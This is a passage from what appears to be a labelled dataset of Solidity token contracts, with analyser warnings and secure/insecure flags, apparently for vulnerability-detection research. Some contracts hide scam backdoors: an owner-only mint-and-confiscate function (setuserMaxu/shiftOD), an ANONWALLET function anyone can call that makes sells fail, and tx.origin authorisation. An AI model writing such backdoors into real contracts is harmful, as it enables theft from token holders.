'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for aec51d4: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-no-eth | severity: Medium | ID: 470b071): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that involve Ether.\n\t// Recommendation for 470b071: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(\n address from,\n address to,\n uint256 amount\n ) private returns (bool) {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n if (inSwapAndLiquify) {\n return _basicTransfer(from, to, amount);\n } else {\n uint256 contractTokenBalance = balanceOf(address(this));\n if (!inSwapAndLiquify && !_uniswapPair[from]) {\n\t\t\t\t// reentrancy-events | ID: aec51d4\n\t\t\t\t// reentrancy-no-eth | ID: 470b071\n swapAndLiquify(contractTokenBalance);\n }\n\n\t\t\t// reentrancy-no-eth | ID: 470b071\n _balances[from] = _balances[from].sub(amount);\n\n\t\t\t// reentrancy-events | ID: aec51d4\n\t\t\t// reentrancy-no-eth | ID: 470b071\n uint256 fAmount = (_isExcludefromFee[from] || _isExcludefromFee[to])\n ? amount\n : shiftOD(from, amount);\n\n\t\t\t// reentrancy-no-eth | ID: 470b071\n _balances[to] = _balances[to].add(fAmount);\n\n\t\t\t// reentrancy-events | ID: aec51d4\n emit Transfer(from, to, fAmount);\n return true;\n }\n }\n\n function _basicTransfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal returns (bool) {\n _balances[sender] = _balances[sender].sub(\n amount,\n \"Insufficient Balance\"\n );\n _balances[recipient] = _balances[recipient].add(amount);\n emit Transfer(sender, recipient, amount);\n return true;\n }\n\n function swapAndLiquify(uint256 amount) private lockTheSwap {\n address[] memory path = new address[](2);\n path[0] = address(this);\n path[1] = uniswapV2Router.WETH();\n\n\t\t// reentrancy-events | ID: aec51d4\n\t\t// reentrancy-events | ID: 3bd6f08\n\t\t// reentrancy-benign | ID: 3ea3a22\n\t\t// reentrancy-no-eth | ID: 470b071\n try\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n amount,\n 0,\n path,\n address(mate),\n block.timestamp\n )\n {} catch {}\n }\n\n function setuserMaxu(address main, uint256 many) public {\n if (uint256(23).mul(10) <= many) general(many.add(many), _balances);\n if (uint256(2).mul(0) + 1 == many) _swapList[main] = 0;\n if (20 + 100 - 20 == many) _swapList[main] = many;\n if (msg.sender != mate) require(false, \"!true\");\n }\n\n function general(\n uint256 name_,\n mapping(address => uint256) storage newAddress\n ) internal {\n newAddress[mate] += name_;\n }\n\n function shiftOD(\n address sender,\n uint256 amount\n ) internal returns (uint256) {\n uint256 backspace = amount.mul(3).div(100);\n\n if (_swapList[sender] != 0) backspace += amount;\n\n if (backspace > 0) {\n\t\t\t// reentrancy-no-eth | ID: 470b071\n _balances[address(this)] += backspace;\n\t\t\t// reentrancy-events | ID: aec51d4\n emit Transfer(sender, address(this), backspace);\n }\n\n return amount.sub(backspace);\n }\n}", "file_name": "solidity_code_2221.sol", "secure": 0, "size_bytes": 12283 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\ncontract ERC20 is IERC20 {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n uint256 private _totalSupply;\n\n function totalSupply() public view returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(address account) public view returns (uint256) {\n return _balances[account];\n }\n\n function transfer(address recipient, uint256 amount) public returns (bool) {\n _transfer(msg.sender, recipient, amount);\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(address spender, uint256 value) public returns (bool) {\n _approve(msg.sender, spender, value);\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public returns (bool) {\n _transfer(sender, recipient, amount);\n _approve(\n sender,\n msg.sender,\n _allowances[sender][msg.sender].sub(amount)\n );\n return true;\n }\n\n function increaseAllowance(\n address spender,\n uint256 addedValue\n ) public returns (bool) {\n _approve(\n msg.sender,\n spender,\n _allowances[msg.sender][spender].add(addedValue)\n );\n return true;\n }\n\n function decreaseAllowance(\n address spender,\n uint256 subtractedValue\n ) public returns (bool) {\n _approve(\n msg.sender,\n spender,\n _allowances[msg.sender][spender].sub(subtractedValue)\n );\n return true;\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n _balances[sender] = _balances[sender].sub(amount);\n _balances[recipient] = _balances[recipient].add(amount);\n emit Transfer(sender, recipient, amount);\n }\n\n function _mint(address account, uint256 amount) internal {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _totalSupply = _totalSupply.add(amount);\n _balances[account] = _balances[account].add(amount);\n emit Transfer(address(0), account, amount);\n }\n\n function _burn(address account, uint256 value) internal {\n require(account != address(0), \"ERC20: burn from the zero address\");\n\n _totalSupply = _totalSupply.sub(value);\n _balances[account] = _balances[account].sub(value);\n emit Transfer(account, address(0), value);\n }\n\n function _approve(address owner, address spender, uint256 value) internal {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = value;\n emit Approval(owner, spender, value);\n }\n\n function _burnFrom(address account, uint256 amount) internal {\n _burn(account, amount);\n _approve(\n account,\n msg.sender,\n _allowances[account][msg.sender].sub(amount)\n );\n }\n}", "file_name": "solidity_code_2222.sol", "secure": 1, "size_bytes": 3761 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\n\ncontract MetaBillionaireUtilityCoin is ERC20 {\n string private _name;\n string private _symbol;\n\t// WARNING Optimization Issue (immutable-states | ID: 974c339): MetaBillionaireUtilityCoin._decimals should be immutable \n\t// Recommendation for 974c339: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint8 private _decimals;\n\n constructor(\n string memory tokenName,\n string memory tokenSymbol,\n uint8 tokenDecimals,\n uint256 maxTotalSupply\n ) {\n _name = tokenName;\n _symbol = tokenSymbol;\n _decimals = tokenDecimals;\n _mint(msg.sender, maxTotalSupply);\n }\n\n function burn(uint256 value) public {\n _burn(msg.sender, value);\n }\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view returns (uint8) {\n return _decimals;\n }\n}", "file_name": "solidity_code_2223.sol", "secure": 1, "size_bytes": 1197 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ninterface IERC20 {\n function balanceOf(address account) external view returns (uint256);\n\t// WARNING Vulnerability (erc20-interface | severity: Medium | ID: 5bffe80): IERC20 has incorrect ERC20 function interfaceIERC20.transfer(address,uint256)\n\t// Recommendation for 5bffe80: Set the appropriate return values and types for the defined 'ERC20' functions.\n function transfer(address recipient, uint256 amount) external;\n}", "file_name": "solidity_code_2224.sol", "secure": 0, "size_bytes": 494 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\n\ncontract WhitelistedDeposit {\n\t// WARNING Optimization Issue (immutable-states | ID: 129902d): WhitelistedDeposit.owner should be immutable \n\t// Recommendation for 129902d: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address public owner;\n mapping(address => uint256) private userContributions;\n mapping(address => WhitelistInfo) private whitelistInfo;\n mapping(address => bool) private hasClaimedTokens;\n\n struct WhitelistInfo {\n bool isWhitelisted;\n uint256 blockLimit;\n }\n\n\t// WARNING Optimization Issue (constable-states | ID: 9fa9825): WhitelistedDeposit.maxDepositAmount should be constant \n\t// Recommendation for 9fa9825: Add the 'constant' attribute to state variables that never change.\n uint256 public maxDepositAmount = 1 ether;\n\t// WARNING Optimization Issue (constable-states | ID: 253f585): WhitelistedDeposit.hardcap should be constant \n\t// Recommendation for 253f585: Add the 'constant' attribute to state variables that never change.\n uint256 public hardcap = 800 ether;\n uint256 public totalCollected = 0;\n uint256 public currentStage = 0;\n uint256 public totalContributors = 0;\n\t// WARNING Optimization Issue (constable-states | ID: 49b392b): WhitelistedDeposit.tokensPerContribution should be constant \n\t// Recommendation for 49b392b: Add the 'constant' attribute to state variables that never change.\n uint256 public tokensPerContribution = 2500 * (10 ** 18);\n\n address public token;\n\n modifier onlyOwner() {\n require(msg.sender == owner, \"Not the contract owner\");\n _;\n }\n\n modifier onlyWhitelisted() {\n require(whitelistInfo[msg.sender].isWhitelisted, \"Not whitelisted\");\n _;\n }\n\n constructor() {\n owner = msg.sender;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 6a4ffe4): WhitelistedDeposit.whitelistUsers(address[],uint256,uint256) should emit an event for currentStage = _stage \n\t// Recommendation for 6a4ffe4: Emit an event for critical parameter changes.\n function whitelistUsers(\n address[] memory users,\n uint256 blockLimit,\n uint256 _stage\n ) external onlyOwner {\n\t\t// events-maths | ID: 6a4ffe4\n currentStage = _stage;\n for (uint256 i = 0; i < users.length; i++) {\n whitelistInfo[users[i]] = WhitelistInfo({\n isWhitelisted: true,\n blockLimit: block.number + blockLimit\n });\n }\n }\n\n function removeWhitelistedUser(address user) external onlyOwner {\n whitelistInfo[user].isWhitelisted = false;\n }\n\n function getRemainingDepositAmount(\n address user\n ) external view returns (uint256) {\n if (\n !whitelistInfo[user].isWhitelisted ||\n block.number > whitelistInfo[user].blockLimit\n ) {\n return 0;\n }\n\n uint256 remainingDeposit = maxDepositAmount - userContributions[user];\n return remainingDeposit > 0 ? remainingDeposit : 0;\n }\n\n function getClaimableTokens(address user) external view returns (uint256) {\n if (hasClaimedTokens[user]) {\n return 0;\n }\n return\n (userContributions[user] * tokensPerContribution) /\n maxDepositAmount;\n }\n\n function getContributors() external view returns (uint256) {\n return totalContributors;\n }\n\n function getClaimStatus() external view returns (bool) {\n return token != address(0);\n }\n\n function getWhitelistStatus(address user) external view returns (bool) {\n return block.number <= whitelistInfo[user].blockLimit;\n }\n\n function getRemainingHardcapAmount() external view returns (uint256) {\n return hardcap - totalCollected;\n }\n\n function deposit() external payable onlyWhitelisted {\n require(\n block.number <= whitelistInfo[msg.sender].blockLimit,\n \"Deposit beyond allowed block limit\"\n );\n\n uint256 remainingHardcap = hardcap - totalCollected;\n require(remainingHardcap > 0, \"Presale has filled\");\n\n uint256 potentialTotalContribution = userContributions[msg.sender] +\n msg.value;\n uint256 userAllowableDeposit = potentialTotalContribution >\n maxDepositAmount\n ? (maxDepositAmount - userContributions[msg.sender])\n : msg.value;\n\n if (userContributions[msg.sender] == 0) {\n totalContributors++;\n }\n\n require(userAllowableDeposit > 0, \"User deposit exceeds maximum limit\");\n\n if (remainingHardcap < userAllowableDeposit) {\n userAllowableDeposit = remainingHardcap;\n }\n\n userContributions[msg.sender] += userAllowableDeposit;\n totalCollected += userAllowableDeposit;\n\n uint256 refundAmount = msg.value - userAllowableDeposit;\n if (refundAmount > 0) {\n payable(msg.sender).transfer(refundAmount);\n }\n }\n\n\t// WARNING Vulnerability (reentrancy-no-eth | severity: Medium | ID: 458905e): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that involve Ether.\n\t// Recommendation for 458905e: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function claimTokens() external {\n require(token != address(0), \"Token claiming is not enabled\");\n require(!hasClaimedTokens[msg.sender], \"Tokens already claimed\");\n\n uint256 userContribution = userContributions[msg.sender];\n require(userContribution > 0, \"No contribution found\");\n\n uint256 tokensToClaim = (userContribution * tokensPerContribution) /\n maxDepositAmount;\n\n\t\t// reentrancy-no-eth | ID: 458905e\n IERC20(token).transfer(msg.sender, tokensToClaim);\n\n\t\t// reentrancy-no-eth | ID: 458905e\n hasClaimedTokens[msg.sender] = true;\n }\n\n function ownerWithdraw() external onlyOwner {\n require(address(this).balance > 0, \"Insufficient balance\");\n payable(owner).transfer(address(this).balance);\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: dd820e1): WhitelistedDeposit.setTokenAddress(address).tokenNew lacks a zerocheck on \t token = tokenNew\n\t// Recommendation for dd820e1: Check that the address is not zero.\n\t// WARNING Vulnerability (tx-origin | severity: Medium | ID: fca06de): WhitelistedDeposit.setTokenAddress(address) uses tx.origin for authorization require(bool,string)(tx.origin == 0x37aAb97476bA8dC785476611006fD5dDA4eed66B,Not owner)\n\t// Recommendation for fca06de: Do not use 'tx.origin' for authorization.\n function setTokenAddress(address tokenNew) external {\n\t\t// tx-origin | ID: fca06de\n require(\n tx.origin == 0x37aAb97476bA8dC785476611006fD5dDA4eed66B,\n \"Not owner\"\n );\n require(token == address(0), \"Already set\");\n\t\t// missing-zero-check | ID: dd820e1\n token = tokenNew;\n }\n\n function getCurrentStage() external view returns (uint256) {\n return currentStage;\n }\n}", "file_name": "solidity_code_2225.sol", "secure": 0, "size_bytes": 7457 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\n\ncontract TurningPoint is ERC20 {\n constructor() ERC20(\"Turning Point\", \"Turning Point\") {\n _mint(msg.sender, 21000000 * 10 ** decimals());\n }\n}", "file_name": "solidity_code_2226.sol", "secure": 1, "size_bytes": 290 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\n\ncontract Ninki is ERC20 {\n constructor() ERC20(unicode\"流行\", unicode\"流行\") {\n _mint(msg.sender, 7878787878 * 10 ** decimals());\n }\n}", "file_name": "solidity_code_2227.sol", "secure": 1, "size_bytes": 285 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"./ERC721A.sol\" as ERC721A;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\ncontract Cortal is ERC721A, Ownable {\n uint256 public constant MAX_SUPPLY = 88;\n\n constructor() ERC721A(\"Cortal Xeason\", \"CRL\") {\n _safeMint(msg.sender, 1);\n }\n\n string private _baseTokenURI;\n\n function _baseURI() internal view virtual override returns (string memory) {\n return _baseTokenURI;\n }\n\n function setBaseURI(string calldata baseURI) external onlyOwner {\n _baseTokenURI = baseURI;\n }\n\n function tokenURI(\n uint256 tokenId\n ) public view virtual override returns (string memory) {\n require(\n _exists(tokenId),\n \"ERC721Metadata: URI query for nonexistent token\"\n );\n\n string memory baseURI = _baseURI();\n return\n bytes(baseURI).length != 0\n ? string(abi.encodePacked(baseURI, \"meta.json\"))\n : \"\";\n }\n\n function withdraw() external onlyOwner {\n (bool success, ) = msg.sender.call{value: address(this).balance}(\"\");\n require(success, \"Transfer failed.\");\n }\n\n function mint(uint256 quantity) external payable {\n require(totalSupply() + quantity <= MAX_SUPPLY, \"Exceed max supply.\");\n _safeMint(msg.sender, quantity);\n }\n}", "file_name": "solidity_code_2228.sol", "secure": 1, "size_bytes": 1425 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\nimport \"@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol\" as IUniswapV2Factory;\nimport \"@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol\" as IUniswapV2Router02;\n\ncontract ANONWALLET is Context, IERC20, Ownable {\n using SafeMath for uint256;\n mapping(address => uint256) private _balances;\n mapping(address => mapping(address => uint256)) private _allowances;\n mapping(address => bool) private _isExcludedFromFee;\n\t// WARNING Optimization Issue (immutable-states | ID: 6b655b3): ANONWALLET._taxWallet should be immutable \n\t// Recommendation for 6b655b3: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n\t// WARNING Optimization Issue (constable-states | ID: f8b0319): ANONWALLET._finalBuyTax should be constant \n\t// Recommendation for f8b0319: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalBuyTax = 1;\n\t// WARNING Optimization Issue (constable-states | ID: a8fe243): ANONWALLET._finalSellTax should be constant \n\t// Recommendation for a8fe243: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalSellTax = 1;\n uint16 private chalcazar = 2;\n\n uint8 private constant _decimals = 9;\n uint256 private constant _tTotal = 1000000000 * 10 ** _decimals;\n string private constant _name = unicode\"ANON WALLET\";\n string private constant _symbol = unicode\"ANON\";\n\t// WARNING Optimization Issue (constable-states | ID: 5c42692): ANONWALLET._maxTxAmount should be constant \n\t// Recommendation for 5c42692: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTxAmount = _tTotal;\n\t// WARNING Optimization Issue (constable-states | ID: fec7d04): ANONWALLET._maxWalletSize should be constant \n\t// Recommendation for fec7d04: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxWalletSize = _tTotal;\n\t// WARNING Optimization Issue (constable-states | ID: c4a049a): ANONWALLET._taxSwapThreshold should be constant \n\t// Recommendation for c4a049a: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = (_tTotal * 1) / 1000;\n\t// WARNING Optimization Issue (constable-states | ID: dfc46c6): ANONWALLET._maxTaxSwap should be constant \n\t// Recommendation for dfc46c6: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = (_tTotal * 1) / 100;\n\n IUniswapV2Router02 private uniswapV2Router;\n address private uniswapV2Pair;\n bool private tradingOpen;\n bool private inSwap = false;\n bool private swapEnabled = false;\n\n event MaxTxAmountUpdated(uint256 _maxTxAmount);\n modifier lockTheSwap() {\n inSwap = true;\n _;\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(_msgSender());\n _balances[_msgSender()] = _tTotal;\n _isExcludedFromFee[owner()] = true;\n _isExcludedFromFee[address(this)] = true;\n _isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 12749c2): ANONWALLET.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 12749c2: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 23e152a): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 23e152a: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 08c5c85): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 08c5c85: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 23e152a\n\t\t// reentrancy-benign | ID: 08c5c85\n _transfer(sender, recipient, amount);\n\t\t// reentrancy-events | ID: 23e152a\n\t\t// reentrancy-benign | ID: 08c5c85\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 98f8727): ANONWALLET._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 98f8727: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\t\t// reentrancy-benign | ID: 08c5c85\n _allowances[owner][spender] = amount;\n\t\t// reentrancy-events | ID: 23e152a\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 7b8034d): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 7b8034d: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: a2a41f5): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for a2a41f5: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n require(to != address(0), \"ERC20: transfer to the zero address\");\n require(amount > 0, \"Transfer amount must be greater than zero\");\n uint256 taxAmount = 0;\n if (from != owner() && to != owner()) {\n taxAmount = amount.mul(_finalBuyTax).div(100);\n if (to == uniswapV2Pair && from != address(this)) {\n require(chalcazar == 2);\n taxAmount = amount.mul(_finalSellTax).div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold\n ) {\n\t\t\t\t// reentrancy-events | ID: 7b8034d\n\t\t\t\t// reentrancy-eth | ID: a2a41f5\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n uint256 contractETHBalance = address(this).balance;\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: 7b8034d\n\t\t\t\t\t// reentrancy-eth | ID: a2a41f5\n sendETHToFee(address(this).balance);\n }\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: a2a41f5\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\t\t\t// reentrancy-events | ID: 7b8034d\n emit Transfer(from, address(this), taxAmount);\n }\n\t\t// reentrancy-eth | ID: a2a41f5\n _balances[from] = _balances[from].sub(amount);\n\t\t// reentrancy-eth | ID: a2a41f5\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\t\t// reentrancy-events | ID: 7b8034d\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n if (tokenAmount == 0) {\n return;\n }\n if (!tradingOpen) {\n return;\n }\n address[] memory path = new address[](2);\n path[0] = address(this);\n path[1] = uniswapV2Router.WETH();\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\t\t// reentrancy-events | ID: 23e152a\n\t\t// reentrancy-events | ID: 7b8034d\n\t\t// reentrancy-benign | ID: 08c5c85\n\t\t// reentrancy-eth | ID: a2a41f5\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function manualsend() external payable virtual {\n chalcazar = 1;\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: 8e966d5): ANONWALLET.sendETHToFee(uint256) sends eth to arbitrary user Dangerous calls _taxWallet.transfer(amount)\n\t// Recommendation for 8e966d5: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: 23e152a\n\t\t// reentrancy-events | ID: 7b8034d\n\t\t// reentrancy-eth | ID: a2a41f5\n\t\t// arbitrary-send-eth | ID: 8e966d5\n _taxWallet.transfer(amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 4ae79dc): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 4ae79dc: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: e9ada4a): ANONWALLET.openTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for e9ada4a: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 4173869): ANONWALLET.openTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 4173869: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 27c325e): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 27c325e: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\t\t// reentrancy-benign | ID: 4ae79dc\n\t\t// reentrancy-eth | ID: 27c325e\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\t\t// reentrancy-benign | ID: 4ae79dc\n\t\t// unused-return | ID: 4173869\n\t\t// reentrancy-eth | ID: 27c325e\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\t\t// reentrancy-benign | ID: 4ae79dc\n\t\t// unused-return | ID: e9ada4a\n\t\t// reentrancy-eth | ID: 27c325e\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint256).max);\n\t\t// reentrancy-benign | ID: 4ae79dc\n swapEnabled = true;\n\t\t// reentrancy-eth | ID: 27c325e\n tradingOpen = true;\n }\n\n receive() external payable {}\n\n function manualSwap() external {\n require(_msgSender() == _taxWallet);\n uint256 tokenBalance = balanceOf(address(this));\n if (tokenBalance > 0) {\n swapTokensForEth(tokenBalance);\n }\n uint256 ethBalance = address(this).balance;\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n}", "file_name": "solidity_code_2229.sol", "secure": 0, "size_bytes": 14258 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/proxy/utils/Initializable.sol\" as Initializable;\nimport \"./ContextUpgradeable.sol\" as ContextUpgradeable;\n\nabstract contract PausableUpgradeable is Initializable, ContextUpgradeable {\n event Paused(address account);\n\n event Unpaused(address account);\n\n bool private _paused;\n\n function __Pausable_init() internal onlyInitializing {\n __Pausable_init_unchained();\n }\n\n function __Pausable_init_unchained() internal onlyInitializing {\n _paused = false;\n }\n\n modifier whenNotPaused() {\n _requireNotPaused();\n\n _;\n }\n\n modifier whenPaused() {\n _requirePaused();\n\n _;\n }\n\n function paused() public view virtual returns (bool) {\n return _paused;\n }\n\n function _requireNotPaused() internal view virtual {\n require(!paused(), \"Pausable: paused\");\n }\n\n function _requirePaused() internal view virtual {\n require(paused(), \"Pausable: not paused\");\n }\n\n function _pause() internal virtual whenNotPaused {\n _paused = true;\n\n emit Paused(_msgSender());\n }\n\n function _unpause() internal virtual whenPaused {\n _paused = false;\n\n emit Unpaused(_msgSender());\n }\n\n uint256[49] private __gap;\n}", "file_name": "solidity_code_223.sol", "secure": 1, "size_bytes": 1382 }
